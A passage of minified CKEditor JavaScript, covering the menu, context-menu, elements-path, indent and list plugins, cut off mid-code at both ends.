CKEDITOR.tools.bind(function(){CKEDITOR.tools.setTimeout(function(){this._.focused||this.hide()},0,this)},this),this._.activeChild=a,this._.focused=!1,a.showBlock(b,c,f,h,l),this.blur(),(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&&setTimeout(function(){a.element.getChild(0).$.style.cssText+=""},100)},hideChild:function(a){var b=this._.activeChild;b&&(delete b.onHide,delete this._.activeChild,b.hide(),a&&this.focus())}}});CKEDITOR.on("instanceDestroyed",function(){var a=CKEDITOR.tools.isEmpty(CKEDITOR.instances),
b;for(b in f){var c=f[b];a?c.destroy():c.element.hide()}a&&(f={})})})();CKEDITOR.plugins.add("menu",{requires:"floatpanel",beforeInit:function(a){for(var f=a.config.menu_groups.split(","),e=a._.menuGroups={},b=a._.menuItems={},c=0;c<f.length;c++)e[f[c]]=c+1;a.addMenuGroup=function(a,b){e[a]=b||100};a.addMenuItem=function(a,c){e[c.group]&&(b[a]=new CKEDITOR.menuItem(this,a,c))};a.addMenuItems=function(a){for(var b in a)this.addMenuItem(b,a[b])};a.getMenuItem=function(a){return b[a]};a.removeMenuItem=
function(a){delete b[a]}}});(function(){function a(a){a.sort(function(a,b){return a.group<b.group?-1:a.group>b.group?1:a.order<b.order?-1:a.order>b.order?1:0})}var f='\x3cspan class\x3d"cke_menuitem"\x3e\x3ca id\x3d"{id}" class\x3d"cke_menubutton cke_menubutton__{name} cke_menubutton_{state} {cls}" href\x3d"{href}" title\x3d"{title}" tabindex\x3d"-1" _cke_focus\x3d1 hidefocus\x3d"true" role\x3d"{role}" aria-label\x3d"{attrLabel}" aria-describedby\x3d"{id}_description" aria-haspopup\x3d"{hasPopup}" aria-disabled\x3d"{disabled}" {ariaChecked} draggable\x3d"false"',
e="";CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(f+=' onkeypress\x3d"return false;"');CKEDITOR.env.gecko&&(f+=' onblur\x3d"this.style.cssText \x3d this.style.cssText;" ondragstart\x3d"return false;"');CKEDITOR.env.ie&&(e='return false;" onmouseup\x3d"CKEDITOR.tools.getMouseButton(event)\x3d\x3d\x3dCKEDITOR.MOUSE_BUTTON_LEFT\x26\x26');var f=f+(' onmouseover\x3d"CKEDITOR.tools.callFunction({hoverFn},{index});" onmouseout\x3d"CKEDITOR.tools.callFunction({moveOutFn},{index});" onclick\x3d"'+e+'CKEDITOR.tools.callFunction({clickFn},{index}); return false;"\x3e')+
'\x3cspan class\x3d"cke_menubutton_inner"\x3e\x3cspan class\x3d"cke_menubutton_icon"\x3e\x3cspan class\x3d"cke_button_icon cke_button__{iconName}_icon" style\x3d"{iconStyle}"\x3e\x3c/span\x3e\x3c/span\x3e\x3cspan class\x3d"cke_menubutton_label"\x3e{label}\x3c/span\x3e{shortcutHtml}{arrowHtml}\x3c/span\x3e\x3c/a\x3e\x3cspan id\x3d"{id}_description" class\x3d"cke_voice_label" aria-hidden\x3d"false"\x3e{ariaShortcut}\x3c/span\x3e\x3c/span\x3e',b=CKEDITOR.addTemplate("menuItem",f),c=CKEDITOR.addTemplate("menuArrow",
'\x3cspan class\x3d"cke_menuarrow"\x3e\x3cspan\x3e{label}\x3c/span\x3e\x3c/span\x3e'),m=CKEDITOR.addTemplate("menuShortcut",'\x3cspan class\x3d"cke_menubutton_label cke_menubutton_shortcut"\x3e{shortcut}\x3c/span\x3e');CKEDITOR.menu=CKEDITOR.tools.createClass({$:function(a,b){b=this._.definition=b||{};this.id=CKEDITOR.tools.getNextId();this.editor=a;this.items=[];this._.listeners=[];this._.level=b.level||1;var d=CKEDITOR.tools.extend({},b.panel,{css:[CKEDITOR.skin.getPath("editor")],level:this._.level-
1,block:{}}),c=d.block.attributes=d.attributes||{};!c.role&&(c.role="menu");this._.panelDefinition=d},_:{onShow:function(){var a=this.editor.getSelection(),b=a&&a.getStartElement(),d=this.editor.elementPath(),c=this._.listeners;this.removeAll();for(var e=0;e<c.length;e++){var f=c[e](b,a,d);if(f)for(var m in f){var w=this.editor.getMenuItem(m);!w||w.command&&!this.editor.getCommand(w.command).state||(w.state=f[m],this.add(w))}}},onClick:function(a){this.hide();if(a.onClick)a.onClick();else a.command&&
this.editor.execCommand(a.command)},onEscape:function(a){var b=this.parent;b?b._.panel.hideChild(1):27==a&&this.hide(1);return!1},onHide:function(){this.onHide&&this.onHide()},showSubMenu:function(a){var b=this._.subMenu,d=this.items[a];if(d=d.getItems&&d.getItems()){b?b.removeAll():(b=this._.subMenu=new CKEDITOR.menu(this.editor,CKEDITOR.tools.extend({},this._.definition,{level:this._.level+1},!0)),b.parent=this,b._.onClick=CKEDITOR.tools.bind(this._.onClick,this));for(var c in d){var e=this.editor.getMenuItem(c);
e&&(e.state=d[c],b.add(e))}var f=this._.panel.getBlock(this.id).element.getDocument().getById(this.id+String(a));setTimeout(function(){b.show(f,2)},0)}else this._.panel.hideChild(1)}},proto:{add:function(a){a.order||(a.order=this.items.length);this.items.push(a)},removeAll:function(){this.items=[]},show:function(b,c,d,e){if(!this.parent&&(this._.onShow(),!this.items.length))return;c=c||("rtl"==this.editor.lang.dir?2:1);var f=this.items,m=this.editor,r=this._.panel,w=this._.element;if(!r){r=this._.panel=
new CKEDITOR.ui.floatPanel(this.editor,CKEDITOR.document.getBody(),this._.panelDefinition,this._.level);r.onEscape=CKEDITOR.tools.bind(function(a){if(!1===this._.onEscape(a))return!1},this);r.onShow=function(){r._.panel.getHolderElement().getParent().addClass("cke").addClass("cke_reset_all")};r.onHide=CKEDITOR.tools.bind(function(){this._.onHide&&this._.onHide()},this);w=r.addBlock(this.id,this._.panelDefinition.block);w.autoSize=!0;var q=w.keys;q[40]="next";q[9]="next";q[38]="prev";q[CKEDITOR.SHIFT+
9]="prev";q["rtl"==m.lang.dir?37:39]=CKEDITOR.env.ie?"mouseup":"click";q[32]=CKEDITOR.env.ie?"mouseup":"click";CKEDITOR.env.ie&&(q[13]="mouseup");w=this._.element=w.element;q=w.getDocument();q.getBody().setStyle("overflow","hidden");q.getElementsByTag("html").getItem(0).setStyle("overflow","hidden");this._.itemOverFn=CKEDITOR.tools.addFunction(function(a){clearTimeout(this._.showSubTimeout);this._.showSubTimeout=CKEDITOR.tools.setTimeout(this._.showSubMenu,m.config.menu_subMenuDelay||400,this,[a])},
this);this._.itemOutFn=CKEDITOR.tools.addFunction(function(){clearTimeout(this._.showSubTimeout)},this);this._.itemClickFn=CKEDITOR.tools.addFunction(function(a){var b=this.items[a];if(b.state==CKEDITOR.TRISTATE_DISABLED)this.hide(1);else if(b.getItems)this._.showSubMenu(a);else this._.onClick(b)},this)}a(f);for(var q=m.elementPath(),q=['\x3cdiv class\x3d"cke_menu'+(q&&q.direction()!=m.lang.dir?" cke_mixed_dir_content":"")+'" role\x3d"presentation"\x3e'],p=f.length,u=p&&f[0].group,x=0;x<p;x++){var t=
f[x];u!=t.group&&(q.push('\x3cdiv class\x3d"cke_menuseparator" role\x3d"separator"\x3e\x3c/div\x3e'),u=t.group);t.render(this,x,q)}q.push("\x3c/div\x3e");w.setHtml(q.join(""));CKEDITOR.ui.fire("ready",this);this.parent?this.parent._.panel.showAsChild(r,this.id,b,c,d,e):r.showBlock(this.id,b,c,d,e);m.fire("menuShow",[r])},addListener:function(a){this._.listeners.push(a)},hide:function(a){this._.onHide&&this._.onHide();this._.panel&&this._.panel.hide(a)},findItemByCommandName:function(a){var b=CKEDITOR.tools.array.filter(this.items,
function(b){return a===b.command});return b.length?(b=b[0],{item:b,element:this._.element.findOne("."+b.className)}):null}}});CKEDITOR.menuItem=CKEDITOR.tools.createClass({$:function(a,b,d){CKEDITOR.tools.extend(this,d,{order:0,className:"cke_menubutton__"+b});this.group=a._.menuGroups[this.group];this.editor=a;this.name=b},proto:{render:function(a,e,d){var f=a.id+String(e),g="undefined"==typeof this.state?CKEDITOR.TRISTATE_OFF:this.state,n="",r=this.editor,w,q,p=g==CKEDITOR.TRISTATE_ON?"on":g==CKEDITOR.TRISTATE_DISABLED?
"disabled":"off";this.role in{menuitemcheckbox:1,menuitemradio:1}&&(n=' aria-checked\x3d"'+(g==CKEDITOR.TRISTATE_ON?"true":"false")+'"');var u=this.getItems,x="\x26#"+("rtl"==this.editor.lang.dir?"9668":"9658")+";",t=this.name;this.icon&&!/\./.test(this.icon)&&(t=this.icon);this.command&&(w=r.getCommand(this.command),(w=r.getCommandKeystroke(w))&&(q=CKEDITOR.tools.keystrokeToString(r.lang.common.keyboard,w)));w=CKEDITOR.tools.htmlEncodeAttr(this.label);a={id:f,name:this.name,iconName:t,label:this.label,
attrLabel:w,cls:this.className||"",state:p,hasPopup:u?"true":"false",disabled:g==CKEDITOR.TRISTATE_DISABLED,title:w+(q?" ("+q.display+")":""),ariaShortcut:q?r.lang.common.keyboardShortcut+" "+q.aria:"",href:"javascript:void('"+(w||"").replace("'")+"')",hoverFn:a._.itemOverFn,moveOutFn:a._.itemOutFn,clickFn:a._.itemClickFn,index:e,iconStyle:CKEDITOR.skin.getIconStyle(t,"rtl"==this.editor.lang.dir,t==this.icon?null:this.icon,this.iconOffset),shortcutHtml:q?m.output({shortcut:q.display}):"",arrowHtml:u?
c.output({label:x}):"",role:this.role?this.role:"menuitem",ariaChecked:n};b.output(a,d)}}})})();CKEDITOR.config.menu_groups="clipboard,form,tablecell,tablecellproperties,tablerow,tablecolumn,table,anchor,link,image,flash,checkbox,radio,textfield,hiddenfield,imagebutton,button,select,textarea,div";CKEDITOR.plugins.add("contextmenu",{requires:"menu",onLoad:function(){CKEDITOR.plugins.contextMenu=CKEDITOR.tools.createClass({base:CKEDITOR.menu,$:function(a){this.base.call(this,a,{panel:{css:a.config.contextmenu_contentsCss,
className:"cke_menu_panel",attributes:{"aria-label":a.lang.contextmenu.options}}})},proto:{addTarget:function(a,f){function e(){c=!1}var b,c;a.on("contextmenu",function(a){a=a.data;var e=CKEDITOR.env.webkit?b:CKEDITOR.env.mac?a.$.metaKey:a.$.ctrlKey;if(!f||!e)if(a.preventDefault(),!c){if(CKEDITOR.env.mac&&CKEDITOR.env.webkit){var e=this.editor,d=(new CKEDITOR.dom.elementPath(a.getTarget(),e.editable())).contains(function(a){return a.hasAttribute("contenteditable")},!0);d&&"false"==d.getAttribute("contenteditable")&&
e.getSelection().fake(d)}var d=a.getTarget().getDocument(),k=a.getTarget().getDocument().getDocumentElement(),e=!d.equals(CKEDITOR.document),d=d.getWindow().getScrollPosition(),g=e?a.$.clientX:a.$.pageX||d.x+a.$.clientX,m=e?a.$.clientY:a.$.pageY||d.y+a.$.clientY;CKEDITOR.tools.setTimeout(function(){this.open(k,null,g,m)},CKEDITOR.env.ie?200:0,this)}},this);if(CKEDITOR.env.webkit){var m=function(){b=0};a.on("keydown",function(a){b=CKEDITOR.env.mac?a.data.$.metaKey:a.data.$.ctrlKey});a.on("keyup",m);
a.on("contextmenu",m)}CKEDITOR.env.gecko&&!CKEDITOR.env.mac&&(a.on("keydown",function(a){a.data.$.shiftKey&&121===a.data.$.keyCode&&(c=!0)},null,null,0),a.on("keyup",e),a.on("contextmenu",e))},open:function(a,f,e,b){!1!==this.editor.config.enableContextMenu&&this.editor.getSelection().getType()!==CKEDITOR.SELECTION_NONE&&(this.editor.focus(),a=a||CKEDITOR.document.getDocumentElement(),this.editor.selectionChange(1),this.show(a,f,e,b))}}})},beforeInit:function(a){var f=a.contextMenu=new CKEDITOR.plugins.contextMenu(a);
a.on("contentDom",function(){f.addTarget(a.editable(),!1!==a.config.browserContextMenuOnCtrl)});a.addCommand("contextMenu",{exec:function(a){var b=0,c=0,f=a.getSelection().getRanges(),f=f[f.length-1].getClientRects(a.editable().isInline());if(f=f[f.length-1])b=f["rtl"===a.lang.dir?"left":"right"],c=f.bottom;a.contextMenu.open(a.document.getBody().getParent(),null,b,c)}});a.setKeystroke(CKEDITOR.SHIFT+121,"contextMenu");a.setKeystroke(CKEDITOR.CTRL+CKEDITOR.SHIFT+121,"contextMenu")}});(function(){function a(a,
e){function h(b){b=g.list[b];var d;b.equals(a.editable())||"true"==b.getAttribute("contenteditable")?(d=a.createRange(),d.selectNodeContents(b),d=d.select()):(d=a.getSelection(),d.selectElement(b));CKEDITOR.env.ie&&a.fire("selectionChange",{selection:d,path:new CKEDITOR.dom.elementPath(b)});a.focus()}function l(){k&&k.setHtml('\x3cspan class\x3d"cke_path_empty"\x3e\x26nbsp;\x3c/span\x3e');delete g.list}var d=a.ui.spaceId("path"),k,g=a._.elementsPath,n=g.idBase;e.html+='\x3cspan id\x3d"'+d+'_label" class\x3d"cke_voice_label"\x3e'+
a.lang.elementspath.eleLabel+'\x3c/span\x3e\x3cspan id\x3d"'+d+'" class\x3d"cke_path" role\x3d"group" aria-labelledby\x3d"'+d+'_label"\x3e\x3cspan class\x3d"cke_path_empty"\x3e\x26nbsp;\x3c/span\x3e\x3c/span\x3e';a.on("uiReady",function(){var b=a.ui.space("path");b&&a.focusManager.add(b,1)});g.onClick=h;var r=CKEDITOR.tools.addFunction(h),w=CKEDITOR.tools.addFunction(function(b,d){var e=g.idBase,f;d=new CKEDITOR.dom.event(d);f="rtl"==a.lang.dir;switch(d.getKeystroke()){case f?39:37:case 9:return(f=
CKEDITOR.document.getById(e+(b+1)))||(f=CKEDITOR.document.getById(e+"0")),f.focus(),!1;case f?37:39:case CKEDITOR.SHIFT+9:return(f=CKEDITOR.document.getById(e+(b-1)))||(f=CKEDITOR.document.getById(e+(g.list.length-1))),f.focus(),!1;case 27:return a.focus(),!1;case 13:case 32:return h(b),!1}return!0});a.on("selectionChange",function(e){for(var f=[],h=g.list=[],l=[],m=g.filters,B=!0,v=e.data.path.elements,y=v.length;y--;){var z=v[y],A=0;e=z.data("cke-display-name")?z.data("cke-display-name"):z.data("cke-real-element-type")?
z.data("cke-real-element-type"):z.getName();(B=z.hasAttribute("contenteditable")?"true"==z.getAttribute("contenteditable"):B)||z.hasAttribute("contenteditable")||(A=1);for(var D=0;D<m.length;D++){var G=m[D](z,e);if(!1===G){A=1;break}e=G||e}A||(h.unshift(z),l.unshift(e))}h=h.length;for(m=0;m<h;m++)e=l[m],B=a.lang.elementspath.eleTitle.replace(/%1/,e),e=b.output({id:n+m,label:B,text:e,jsTitle:"javascript:void('"+e+"')",index:m,keyDownFn:w,clickFn:r}),f.unshift(e);k||(k=CKEDITOR.document.getById(d));
l=k;l.setHtml(f.join("")+'\x3cspan class\x3d"cke_path_empty"\x3e\x26nbsp;\x3c/span\x3e');a.fire("elementsPathUpdate",{space:l})});a.on("readOnly",l);a.on("contentDomUnload",l);a.addCommand("elementsPathFocus",f.toolbarFocus);a.setKeystroke(CKEDITOR.ALT+122,"elementsPathFocus")}var f={toolbarFocus:{editorFocus:!1,readOnly:1,exec:function(a){(a=CKEDITOR.document.getById(a._.elementsPath.idBase+"0"))&&a.focus(CKEDITOR.env.ie||CKEDITOR.env.air)}}},e="";CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(e+=' onkeypress\x3d"return false;"');
CKEDITOR.env.gecko&&(e+=' onblur\x3d"this.style.cssText \x3d this.style.cssText;"');var b=CKEDITOR.addTemplate("pathItem",'\x3ca id\x3d"{id}" href\x3d"{jsTitle}" tabindex\x3d"-1" class\x3d"cke_path_item" title\x3d"{label}"'+e+' hidefocus\x3d"true" draggable\x3d"false" ondragstart\x3d"return false;" onkeydown\x3d"return CKEDITOR.tools.callFunction({keyDownFn},{index}, event );" onclick\x3d"CKEDITOR.tools.callFunction({clickFn},{index}); return false;" role\x3d"button" aria-label\x3d"{label}"\x3e{text}\x3c/a\x3e');
CKEDITOR.plugins.add("elementspath",{init:function(b){b._.elementsPath={idBase:"cke_elementspath_"+CKEDITOR.tools.getNextNumber()+"_",filters:[]};b.on("uiSpace",function(e){"bottom"==e.data.space&&a(b,e.data)})}})})();(function(){function a(a,c){var m,h;c.on("refresh",function(a){var b=[f],c;for(c in a.data.states)b.push(a.data.states[c]);this.setState(CKEDITOR.tools.search(b,e)?e:f)},c,null,100);c.on("exec",function(c){m=a.getSelection();h=m.createBookmarks(1);c.data||(c.data={});c.data.done=!1},
c,null,0);c.on("exec",function(){a.forceNextSelectionCheck();m.selectBookmarks(h)},c,null,100)}var f=CKEDITOR.TRISTATE_DISABLED,e=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indent",{init:function(b){var c=CKEDITOR.plugins.indent.genericDefinition;a(b,b.addCommand("indent",new c(!0)));a(b,b.addCommand("outdent",new c));b.ui.addButton&&(b.ui.addButton("Indent",{label:b.lang.indent.indent,command:"indent",directional:!0,toolbar:"indent,20"}),b.ui.addButton("Outdent",{label:b.lang.indent.outdent,command:"outdent",
directional:!0,toolbar:"indent,10"}));b.on("dirChanged",function(a){var c=b.createRange(),e=a.data.node;c.setStartBefore(e);c.setEndAfter(e);for(var d=new CKEDITOR.dom.walker(c),f;f=d.next();)if(f.type==CKEDITOR.NODE_ELEMENT)if(!f.equals(e)&&f.getDirection())c.setStartAfter(f),d=new CKEDITOR.dom.walker(c);else{var g=b.config.indentClasses;if(g)for(var n="ltr"==a.data.dir?["_rtl",""]:["","_rtl"],r=0;r<g.length;r++)f.hasClass(g[r]+n[0])&&(f.removeClass(g[r]+n[0]),f.addClass(g[r]+n[1]));g=f.getStyle("margin-right");
n=f.getStyle("margin-left");g?f.setStyle("margin-left",g):f.removeStyle("margin-left");n?f.setStyle("margin-right",n):f.removeStyle("margin-right")}})}});CKEDITOR.plugins.indent={genericDefinition:function(a){this.isIndent=!!a;this.startDisabled=!this.isIndent},specificDefinition:function(a,c,e){this.name=c;this.editor=a;this.jobs={};this.enterBr=a.config.enterMode==CKEDITOR.ENTER_BR;this.isIndent=!!e;this.relatedGlobal=e?"indent":"outdent";this.indentKey=e?9:CKEDITOR.SHIFT+9;this.database={}},registerCommands:function(a,
c){a.on("pluginsLoaded",function(){for(var a in c)(function(a,b){var d=a.getCommand(b.relatedGlobal),c;for(c in b.jobs)d.on("exec",function(d){d.data.done||(a.fire("lockSnapshot"),b.execJob(a,c)&&(d.data.done=!0),a.fire("unlockSnapshot"),CKEDITOR.dom.element.clearAllMarkers(b.database))},this,null,c),d.on("refresh",function(d){d.data.states||(d.data.states={});d.data.states[b.name+"@"+c]=b.refreshJob(a,c,d.data.path)},this,null,c);a.addFeature(b)})(this,c[a])})}};CKEDITOR.plugins.indent.genericDefinition.prototype=
{context:"p",exec:function(){}};CKEDITOR.plugins.indent.specificDefinition.prototype={execJob:function(a,c){var e=this.jobs[c];if(e.state!=f)return e.exec.call(this,a)},refreshJob:function(a,c,e){c=this.jobs[c];a.activeFilter.checkFeature(this)?c.state=c.refresh.call(this,a,e):c.state=f;return c.state},getContext:function(a){return a.contains(this.context)}}})();(function(){function a(a){function b(d){for(var f=m.startContainer,t=m.endContainer;f&&!f.getParent().equals(d);)f=f.getParent();for(;t&&
!t.getParent().equals(d);)t=t.getParent();if(!f||!t)return!1;for(var p=[],v=!1;!v;)f.equals(t)&&(v=!0),p.push(f),f=f.getNext();if(1>p.length)return!1;f=d.getParents(!0);for(t=0;t<f.length;t++)if(f[t].getName&&h[f[t].getName()]){d=f[t];break}for(var f=c.isIndent?1:-1,t=p[0],p=p[p.length-1],v=CKEDITOR.plugins.list.listToArray(d,g),y=v[p.getCustomData("listarray_index")].indent,t=t.getCustomData("listarray_index");t<=p.getCustomData("listarray_index");t++)if(v[t].indent+=f,0<f){for(var z=v[t].parent,
A=t-1;0<=A;A--)if(v[A].indent===f){z=v[A].parent;break}v[t].parent=new CKEDITOR.dom.element(z.getName(),z.getDocument())}for(t=p.getCustomData("listarray_index")+1;t<v.length&&v[t].indent>y;t++)v[t].indent+=f;f=CKEDITOR.plugins.list.arrayToList(v,g,null,a.config.enterMode,d.getDirection());if(!c.isIndent){var q;if((q=d.getParent())&&q.is("li"))for(var p=f.listNode.getChildren(),G=[],w,t=p.count()-1;0<=t;t--)(w=p.getItem(t))&&w.is&&w.is("li")&&G.push(w)}f&&f.listNode.replace(d);if(G&&G.length)for(t=
0;t<G.length;t++){for(w=d=G[t];(w=w.getNext())&&w.is&&w.getName()in h;)CKEDITOR.env.needsNbspFiller&&!d.getFirst(e)&&d.append(m.document.createText(" ")),d.append(w);d.insertAfter(q)}f&&a.fire("contentDomInvalidated");return!0}for(var c=this,g=this.database,h=this.context,m,w=a.getSelection(),w=(w&&w.getRanges()).createIterator();m=w.getNextRange();){for(var q=m.getCommonAncestor();q&&(q.type!=CKEDITOR.NODE_ELEMENT||!h[q.getName()]);){if(a.editable().equals(q)){q=!1;break}q=q.getParent()}q||(q=m.startPath().contains(h))&&
m.setEndAt(q,CKEDITOR.POSITION_BEFORE_END);if(!q){var p=m.getEnclosedNode();p&&p.type==CKEDITOR.NODE_ELEMENT&&p.getName()in h&&(m.setStartAt(p,CKEDITOR.POSITION_AFTER_START),m.setEndAt(p,CKEDITOR.POSITION_BEFORE_END),q=p)}q&&m.startContainer.type==CKEDITOR.NODE_ELEMENT&&m.startContainer.getName()in h&&(p=new CKEDITOR.dom.walker(m),p.evaluator=f,m.startContainer=p.next());q&&m.endContainer.type==CKEDITOR.NODE_ELEMENT&&m.endContainer.getName()in h&&(p=new CKEDITOR.dom.walker(m),p.evaluator=f,m.endContainer=
p.previous());if(q)return b(q)}return 0}function f(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.is("li")}function e(a){return b(a)&&c(a)}var b=CKEDITOR.dom.walker.whitespaces(!0),c=CKEDITOR.dom.walker.bookmark(!1,!0),m=CKEDITOR.TRISTATE_DISABLED,h=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indentlist",{requires:"indent",init:function(b){function d(b){c.specificDefinition.apply(this,arguments);this.requiredContent=["ul","ol"];b.on("key",function(a){var d=b.elementPath();if("wysiwyg"==b.mode&&a.data.keyCode==
this.indentKey&&d){var c=this.getContext(d);!c||this.isIndent&&CKEDITOR.plugins.indentList.firstItemInPath(this.context,d,c)||(b.execCommand(this.relatedGlobal),a.cancel())}},this);this.jobs[this.isIndent?10:30]={refresh:this.isIndent?function(a,b){var d=this.getContext(b),c=CKEDITOR.plugins.indentList.firstItemInPath(this.context,b,d);return d&&this.isIndent&&!c?h:m}:function(a,b){return!this.getContext(b)||this.isIndent?m:h},exec:CKEDITOR.tools.bind(a,this)}}var c=CKEDITOR.plugins.indent;c.registerCommands(b,
{indentlist:new d(b,"indentlist",!0),outdentlist:new d(b,"outdentlist")});CKEDITOR.tools.extend(d.prototype,c.specificDefinition.prototype,{context:{ol:1,ul:1}})}});CKEDITOR.plugins.indentList={};CKEDITOR.plugins.indentList.firstItemInPath=function(a,b,c){var e=b.contains(f);c||(c=b.contains(a));return c&&e&&e.equals(c.getFirst(f))}})();(function(){function a(a,b,d,c){for(var e=CKEDITOR.plugins.list.listToArray(b.root,d),f=[],g=0;g<b.contents.length;g++){var k=b.contents[g];(k=k.getAscendant("li",
!0))&&!k.getCustomData("list_item_processed")&&(f.push(k),CKEDITOR.dom.element.setMarker(d,k,"list_item_processed",!0))}for(var k=b.root.getDocument(),h,l,g=0;g<f.length;g++){var m=f[g].getCustomData("listarray_index");h=e[m].parent;h.is(this.type)||(l=k.createElement(this.type),h.copyAttributes(l,{start:1,type:1}),l.removeStyle("list-style-type"),e[m].parent=l)}d=CKEDITOR.plugins.list.arrayToList(e,d,null,a.config.enterMode);for(var n,e=d.listNode.getChildCount(),g=0;g<e&&(n=d.listNode.getChild(g));g++)n.getName()==
this.type&&c.push(n);d.listNode.replace(b.root);a.fire("contentDomInvalidated")}function f(a,b,d){var c=b.contents,e=b.root.getDocument(),f=[];if(1==c.length&&c[0].equals(b.root)){var g=e.createElement("div");c[0].moveChildren&&c[0].moveChildren(g);c[0].append(g);c[0]=g}b=b.contents[0].getParent();for(g=0;g<c.length;g++)b=b.getCommonAncestor(c[g].getParent());a=a.config.useComputedState;var k,h;a=void 0===a||a;for(g=0;g<c.length;g++)for(var l=c[g],m;m=l.getParent();){if(m.equals(b)){f.push(l);!h&&
l.getDirection()&&(h=1);l=l.getDirection(a);null!==k&&(k=k&&k!=l?null:l);break}l=m}if(!(1>f.length)){c=f[f.length-1].getNext();g=e.createElement(this.type);for(d.push(g);f.length;)d=f.shift(),a=e.createElement("li"),l=d,l.is("pre")||q.test(l.getName())||"false"==l.getAttribute("contenteditable")?d.appendTo(a):(d.copyAttributes(a),k&&d.getDirection()&&(a.removeStyle("direction"),a.removeAttribute("dir")),d.moveChildren(a),d.remove()),a.appendTo(g);k&&h&&g.setAttribute("dir",k);c?g.insertBefore(c):
g.appendTo(b)}}function e(a,b,d){function c(d){if(!(!(l=h[d?"getFirst":"getLast"]())||l.is&&l.isBlockBoundary()||!(m=b.root[d?"getPrevious":"getNext"](CKEDITOR.dom.walker.invisible(!0)))||m.is&&m.isBlockBoundary({br:1})))a.document.createElement("br")[d?"insertBefore":"insertAfter"](l)}for(var e=CKEDITOR.plugins.list.listToArray(b.root,d),f=[],g=0;g<b.contents.length;g++){var k=b.contents[g];(k=k.getAscendant("li",!0))&&!k.getCustomData("list_item_processed")&&(f.push(k),CKEDITOR.dom.element.setMarker(d,
k,"list_item_processed",!0))}k=null;for(g=0;g<f.length;g++)k=f[g].getCustomData("listarray_index"),e[k].indent=-1;for(g=k+1;g<e.length;g++)if(e[g].indent>e[g-1].indent+1){f=e[g-1].indent+1-e[g].indent;for(k=e[g].indent;e[g]&&e[g].indent>=k;)e[g].indent+=f,g++;g--}var h=CKEDITOR.plugins.list.arrayToList(e,d,null,a.config.enterMode,b.root.getAttribute("dir")).listNode,l,m;c(!0);c();h.replace(b.root);a.fire("contentDomInvalidated")}function b(a,b){this.name=a;this.context=this.type=b;this.allowedContent=
b+" li";this.requiredContent=b}function c(a,b,d,c){for(var e,f;e=a[c?"getLast":"getFirst"](p);)(f=e.getDirection(1))!==b.getDirection(1)&&e.setAttribute("dir",f),e.remove(),d?e[c?"insertBefore":"insertAfter"](d):b.append(e,c),d=e}function m(a){function b(d){var e=a[d?"getPrevious":"getNext"](r);e&&e.type==CKEDITOR.NODE_ELEMENT&&e.is(a.getName())&&(c(a,e,null,!d),a.remove(),a=e)}b();b(1)}function h(a){return a.type==CKEDITOR.NODE_ELEMENT&&(a.getName()in CKEDITOR.dtd.$block||a.getName()in CKEDITOR.dtd.$listItem)&&
CKEDITOR.dtd[a.getName()]["#"]}function l(a,b,e){a.fire("saveSnapshot");e.enlarge(CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS);var f=e.extractContents();b.trim(!1,!0);var g=b.createBookmark(),k=new CKEDITOR.dom.elementPath(b.startContainer),h=k.block,k=k.lastElement.getAscendant("li",1)||h,l=new CKEDITOR.dom.elementPath(e.startContainer),n=l.contains(CKEDITOR.dtd.$listItem),l=l.contains(CKEDITOR.dtd.$list);h?(h=h.getBogus())&&h.remove():l&&(h=l.getPrevious(r))&&w(h)&&h.remove();(h=f.getLast())&&h.type==CKEDITOR.NODE_ELEMENT&&
h.is("br")&&h.remove();(h=b.startContainer.getChild(b.startOffset))?f.insertBefore(h):b.startContainer.append(f);n&&(f=d(n))&&(k.contains(n)?(c(f,n.getParent(),n),f.remove()):k.append(f));for(;e.checkStartOfBlock()&&e.checkEndOfBlock();){l=e.startPath();f=l.block;if(!f)break;f.is("li")&&(k=f.getParent(),f.equals(k.getLast(r))&&f.equals(k.getFirst(r))&&(f=k));e.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START);f.remove()}e=e.clone();f=a.editable();e.setEndAt(f,CKEDITOR.POSITION_BEFORE_END);e=new CKEDITOR.dom.walker(e);
e.evaluator=function(a){return r(a)&&!w(a)};(e=e.next())&&e.type==CKEDITOR.NODE_ELEMENT&&e.getName()in CKEDITOR.dtd.$list&&m(e);b.moveToBookmark(g);b.select();a.fire("saveSnapshot")}function d(a){return(a=a.getLast(r))&&a.type==CKEDITOR.NODE_ELEMENT&&a.getName()in k?a:null}var k={ol:1,ul:1},g=CKEDITOR.dom.walker.whitespaces(),n=CKEDITOR.dom.walker.bookmark(),r=function(a){return!(g(a)||n(a))},w=CKEDITOR.dom.walker.bogus();CKEDITOR.plugins.list={listToArray:function(a,b,d,c,e){if(!k[a.getName()])return[];
c||(c=0);d||(d=[]);for(var f=0,g=a.getChildCount();f<g;f++){var h=a.getChild(f);h.type==CKEDITOR.NODE_ELEMENT&&h.getName()in CKEDITOR.dtd.$list&&CKEDITOR.plugins.list.listToArray(h,b,d,c+1);if("li"==h.$.nodeName.toLowerCase()){var l={parent:a,indent:c,element:h,contents:[]};e?l.grandparent=e:(l.grandparent=a.getParent(),l.grandparent&&"li"==l.grandparent.$.nodeName.toLowerCase()&&(l.grandparent=l.grandparent.getParent()));b&&CKEDITOR.dom.element.setMarker(b,h,"listarray_index",d.length);d.push(l);
for(var m=0,n=h.getChildCount(),p;m<n;m++)p=h.getChild(m),p.type==CKEDITOR.NODE_ELEMENT&&k[p.getName()]?CKEDITOR.plugins.list.listToArray(p,b,d,c+1,l.grandparent):l.contents.push(p)}}return d},arrayToList:function(a,b,d,c,e){d||(d=0);if(!a||a.length<d+1)return null;for(var f,g=a[d].parent.getDocument(),h=new CKEDITOR.dom.documentFragment(g),l=null,m=d,p=Math.max(a[d].indent,0),q=null,w,F,M=c==CKEDITOR.ENTER_P?"p":"div";;){var I=a[m];f=I.grandparent;w=I.element.getDirection(1);if(I.indent==p){l&&a[m].parent.getName()==
